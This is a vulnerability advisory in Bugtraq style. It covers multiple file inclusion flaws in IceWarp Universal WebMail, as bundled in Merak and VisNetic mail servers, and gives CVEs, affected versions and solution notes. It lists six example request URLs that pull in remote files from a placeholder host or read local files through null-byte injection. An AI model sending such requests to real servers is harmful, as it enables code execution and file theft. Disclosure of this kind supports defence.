IceWarp Universal WebMail Multiple Input Validation Vulnerabilities

Bugtraq ID:	16069
Class:	Input Validation Error
CVE:	CVE-2005-4558 CVE-2005-4559 CVE-2005-4556 CVE-2005-4557
Remote:	Yes
Local:	No
Published:	Dec 27 2005 12:00AM
Updated:	Jul 31 2007 06:15PM
Credit:	Discovered by Tan Chew Keong.
Vulnerable:	Merak Mail Server 8.3 .0.r Deerfield VisNetic Mail Server 8.3 .0 build 1
Not Vulnerable:

IceWarp Universal WebMail Multiple Input Validation Vulnerabilities

IceWarp Universal WebMail is prone to multiple input-validation vulnerabilities. Deerfield VisNetic Mail Server and Merak Mail Server integrate IceWarp Universal WebMail into their suites.

An attacker can exploit these issues to include arbitrary local or remote files containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

Additionally, an attacker can exploit these issues to obtain the contents of local files.

Merak Mail Server 8.3.0.r and VisNetic MailServer 8.3.0 build 1 are affected by these issues.

UPDATE (July 30, 2007): Symantec has confirmed that this issue is being actively exploited in the wild.

IceWarp Universal WebMail Multiple Input Validation Vulnerabilities

An exploit is not required.

The following examples were provided:

http://example.com:32000/accounts/inc/include.php?language=0&lang_settings[0][1]=http://[host]/

http://example.com:32000/admin/inc/include.php?language=0&lang_settings[0][1]=http://[host]/

http://example.com:32000/dir/include.html?lang=[file]%00

http://example.com:32000/mail/settings.html?id=[current_id]&Save_x=1&language=TEST

http://example.com:32000/mail/index.html?id=[current_id]&lang_settings[TEST]=test;http://[host]/;

http://example.com:32000/mail/index.html?/mail/index.html?default_layout=OUTLOOK2003&layout_settings[OUTLOOK2003]=test;[file]%00;2

IceWarp Universal WebMail Multiple Input Validation Vulnerabilities

Solution:
These issues were reportedly addressed in Merak Mail Server 8.3.5.r and VisNetic MailServer 8.3.5, but Symantec has not confirmed this.

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

IceWarp Universal WebMail Multiple Input Validation Vulnerabilities

References:

• Merak Mail Server Home Page (Merak)
  
• VisNetic Mail Server Home Page (Deerfield)
  
• Secunia Research: IceWarp Web Mail Multiple File Inclusion Vulnerabilities (Secunia Research )